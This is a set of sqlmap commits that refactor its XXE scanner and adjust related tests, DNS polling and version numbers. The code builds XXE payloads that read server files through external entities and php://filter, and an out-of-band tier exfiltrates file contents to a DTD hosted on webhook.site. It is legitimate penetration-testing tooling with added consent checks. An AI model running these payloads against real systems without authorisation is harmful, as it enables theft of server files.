instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -52,13 +61,41 @@ def _looksXml(data): return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + def _cleanBody(): """Return the original request body with sqlmap's injection marks removed. Order matters: drop the injected custom marks first (any literal '*' from the original body was already escaped to ASTERISK_MARKER by target processing), then restore those escaped asterisks.""" + global _MARKER + _MARKER = None data = getText(conf.data or "") - data = data.replace(kb.customInjectionMark or "\x00", "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") data = data.replace(ASTERISK_MARKER, "*") return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct @@ -86,6 +123,9 @@ def _send(body): if conf.delay: time.sleep(conf.delay) + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) @@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False): for the external/XInclude tiers or the document becomes ill-formed). Falls back to injecting just before the root's closing tag when there is no text node at all.""" + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 head, tail = xml[:start], xml[start:] tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) @@ -169,19 +212,25 @@ def _fingerprint(page): def _echoed(page): - """True when the response mirrors our raw markup back. Essential guard for the - sentinel-in-path oracles: a debug/echo endpoint that never parses XML would - otherwise reflect the sentinel (it is inside the body we sent) and look like a - genuine parser error. A real error surfaces only the path/message, not the - DOCTYPE/entity declarations.""" - page = getUnicode(page or "") - return "' % (ent, systemId) payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) @@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline): def _tryPhpFilter(xml, rootName, baseline): - """PHP-only in-band read that survives newlines/binary: base64 a source file - through php://filter. Confirmed when the reflection decodes to file content.""" + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" from lib.core.convert import decodeBase64 baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) - for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): - resource = systemId[len("file://"):] + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): ent = randomStr(length=8, lowercase=True) subset = '' % (ent, resource) payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) @@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName): return None, "" -def _tryErrorExfil(xml, rootName): +def _tryErrorExfil(xml, rootName, errorChannel=False): """In-band error-based file EXFILTRATION: coerce the parser into an error whose message embeds the target file's contents (not just a sentinel). Two vehicles: (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on - the exfil service -> needs egress to fetch it plus verbose errors. php://filter - base64 carries a whole multi-line file intact; raw file:// leaks the first line - on any parser. Returns (content, filename) or (None, None).""" + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" from lib.core.convert import decodeBase64 - fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - resource = fileName if fileName.startswith("/") else "/" + fileName + fileName = conf.get("fileRead") + if not fileName: + return None, None marker = randomStr(10, lowercase=True) # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) - reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), - ("file://%s" % resource, False)) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) def _extract(page, isB64): pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) @@ -368,8 +418,9 @@ def _tryErrorExfil(xml, rootName): if content: return content, fileName - # (b) DTD we host on the exfil service - egress + verbose errors (third party) - if not _oobEnabled(): + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): return None, None from lib.request.webhooksite import WebhookSite wh = WebhookSite() @@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName): def _oobEnabled(): - """Out-of-band tiers contact a public third party by default. Honour an explicit - opt-out (`--oob-server none`) for sensitive engagements.""" + """False when the user opted out of OOB entirely (`--oob-server none`).""" return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server `) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + def _tryOobExfil(xml, rootName): """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on a public content+logging service (webhook.site), point the target's parser at @@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName): from lib.core.convert import decodeBase64 from lib.request.webhooksite import WebhookSite + fileName = conf.get("fileRead") + if not fileName: + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") return None - target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) dtd = ('\n' '">\n' - '%%eval;\n%%exfil;') % (target, exfilUrl) + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) dtdToken = wh.newToken(dtd) if not dtdToken: return None @@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName): _send(payload) content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) for _ in range(OOB_POLL_ATTEMPTS): time.sleep(OOB_POLL_DELAY) for record in wh.captured(exfilToken): - leaked = (record.get("query") or {}).get("x") - if leaked: + match = pattern.search(getText(record.get("url") or "")) + if match: try: - content = getText(decodeBase64(leaked)) + content = getText(decodeBase64(match.group(1))) except Exception: - content = getText(leaked) + content = match.group(1) break if content: break @@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName): if not detected: detected = bool(wh.captured(dtdToken)) - return {"payload": payload, "filename": target, "content": content, "detected": detected} + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} def _tryOob(xml, rootName): @@ -560,8 +634,9 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL + global SENTINEL, _OOB_CONSENT SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " @@ -583,29 +658,30 @@ def xxeScan(): baseline = _send(xml) found = False - # T2: in-band reflected (internal entity expansion) - the strongest oracle + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities; it is NOT yet external-entity file-read impact - so the + # finding is worded conservatively and escalated only if an actual read follows. payload, page = _tryInternal(xml, rootName, baseline) if payload: found = True - logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") - _report("In-band (reflected internal entity)", payload) + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: - logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) - - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if systemId: - logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) - _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) else: - phpPayload = _tryPhpFilter(xml, rootName, baseline) - if phpPayload: - logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") - _report("File read via php://filter (base64)", phpPayload) + # benign, in-band impact demonstration (data stays in the response, no third party) + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if not systemId: + snippet = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if snippet else None + if systemId: + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, "") # T3: error-based (works where entities are not reflected but errors leak) errorChannel = False @@ -626,13 +702,14 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) - # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an - # in-band file read (or attempt it directly when the user asked via --file-read) - if errorChannel or conf.get("fileRead"): - content, fileName = _tryErrorExfil(xml, rootName) + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) if content: found = True - logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) @@ -661,27 +738,28 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) - if not found and _oobEnabled(): - exfil = _tryOobExfil(xml, rootName) - if exfil and (exfil["content"] or exfil["detected"]): - found = True - if exfil["content"]: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) - _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) - _dumpFileRead(exfil["filename"], exfil["content"]) - else: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") - _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) - - # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) - if not found and _oobEnabled(): - result = _tryOob(xml, rootName) - if result: - payload, protocol = result - found = True - logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) - _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 0c29c0585..8c46873c8 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -77,6 +77,17 @@ class TestBuildDoctype(unittest.TestCase): self.assertIn(self.SUBSET, out) self.assertIn("[", out) + def test_existing_internal_subset_with_gt_in_entity_value(self): + # a '>' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("xxemarkzzzzother", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("PUT XML body", captured[0]) + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + class TestDetectionMocked(unittest.TestCase): def setUp(self): self._send = xxe._send From 103a0e6b0fd5ef65b7b4d72985a27d6a46e86e43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 11:12:21 +0200 Subject: [PATCH 133/165] More refactoring for --xxe --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/xxe/inject.py | 45 +++++++++++++++++++++++++----------- 3 files changed, 34 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1c202926..b5e04442b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py +d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py +e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 86505b7b1..0f81eefb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.25" +VERSION = "1.10.7.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 5876a7f06..f6d7432cb 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -656,20 +656,23 @@ def xxeScan(): logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) baseline = _send(xml) - found = False + found = False # an actual impact/oracle (file read, error-based, XInclude, blind) + expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search) # T2: in-band reflected DTD/internal-entity expansion. This proves the parser - # processes entities; it is NOT yet external-entity file-read impact - so the - # finding is worded conservatively and escalated only if an actual read follows. + # processes entities but is NOT yet file-read impact, so it deliberately does NOT + # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still + # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. payload, page = _tryInternal(xml, rootName, baseline) if payload: - found = True + expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: + found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) @@ -680,12 +683,15 @@ def xxeScan(): snippet = _tryPhpFilter(xml, rootName, baseline) systemId = "php://filter" if snippet else None if systemId: + found = True logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) _report("In-band file-read impact (external entity '%s')" % systemId, "") - # T3: error-based (works where entities are not reflected but errors leak) + # T3: error-based (works where entities are not reflected but errors leak). A + # redundant detection channel once in-band reflection was already seen, so it is + # skipped then - the file-read *impact* tiers below still run to try to upgrade. errorChannel = False - if not found: + if not found and not expansionSeen: payload, page = _tryError(xml, rootName) if payload: found = errorChannel = True @@ -693,8 +699,8 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) - # T3b: no-egress error-based via local-DTD repurposing - if not found: + # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected) + if not found and not expansionSeen: payload, page = _tryLocalDtd(xml, rootName) if payload: found = errorChannel = True @@ -721,16 +727,20 @@ def xxeScan(): logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) _report("XInclude file read ('%s')" % systemId, payload) - # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) - if not found: + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 + # variant re-detects internal-entity reflection, so it is redundant (and mislabels + # as 'evasion') once reflection was already seen - skip it then. + if not found and not expansionSeen: title, payload = _tryEvasions(xml, rootName, baseline) if title: found = True logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) _report(title, payload) - # T6: time-based blind (no collector, no third party) - external entity to a non-routable host - if not found: + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host. + # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow) + # blind tiers add nothing and would needlessly stall. + if not found and not expansionSeen: logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") payload = _tryTimeBlind(xml, rootName) if payload: @@ -738,10 +748,11 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only + # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt). # Low-impact callback confirmation is the default; actual file exfiltration is # attempted only when the user explicitly asked for a file via '--file-read'. - if not found and _oobConsent(): + if not found and not expansionSeen and _oobConsent(): if conf.get("fileRead"): exfil = _tryOobExfil(xml, rootName) if exfil and (exfil["content"] or exfil["detected"]): @@ -762,6 +773,12 @@ def xxeScan(): _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: + if expansionSeen: + # in-band entity processing is real, but no external-entity/blind oracle was reachable + # (typically external entities disabled) - report honestly rather than overstate impact + logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established") + logger.info("XXE scan complete") + return # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser # from a merely non-reflecting one so the user knows why it did not fire. probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) From 7fd6bb3b7d8a9056f8a2db9d132d7ef3d7dd4049 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 12:38:59 +0200 Subject: [PATCH 134/165] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/dns.py | 34 +++++++++++++++++++++------------- tests/test_dns_server.py | 1 + 4 files changed, 26 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b5e04442b..a2ee55d01 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py +415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py +c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py @@ -613,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py +6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f81eefb9..33ef2afb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.26" +VERSION = "1.10.7.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 5b7082508..f97d7cf60 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -235,6 +235,9 @@ class InteractshDNSServer(object): is a drop-in for conf.dnsServer. """ + _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds; + _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent + def __init__(self, server=None): from lib.request.interactsh import Interactsh, hasCrypto @@ -259,25 +262,30 @@ class InteractshDNSServer(object): """ Returns a captured DNS lookup name matching the given prefix/suffix (prefix..suffix.), mirroring DNSServer.pop(). + + Unlike the synchronous local DNSServer (which reads a query captured during the + very request), interactsh is remote and eventually-consistent: a just-triggered + lookup takes a moment to reach the collector and surface via its poll API. So we + poll a few times before giving up, instead of reading once. """ - retVal = None + for attempt in range(self._POLL_TRIES): + for name in self._client.dnsNames(): + if name in self._seen: + continue - for name in self._client.dnsNames(): - if name in self._seen: - continue + if prefix is None and suffix is None: + self._seen.add(name) + return name - if prefix is None and suffix is None: - self._seen.add(name) - retVal = name - break + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + return name - if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): - self._seen.add(name) - retVal = name - break + if attempt < self._POLL_TRIES - 1: + time.sleep(self._POLL_DELAY) - return retVal + return None if __name__ == "__main__": server = None diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 234781297..918e54659 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -342,6 +342,7 @@ class TestInteractshDNSServer(unittest.TestCase): srv._seen = set() srv._running = True srv._initialized = True + srv._POLL_TRIES = 1 # no real sleeps in unit tests return srv def test_pop_matches_prefix_suffix_and_dedups(self): From 3b3a822e3202ddf549618079327afd1e92f2cf51 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:00:19 +0200 Subject: [PATCH 135/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 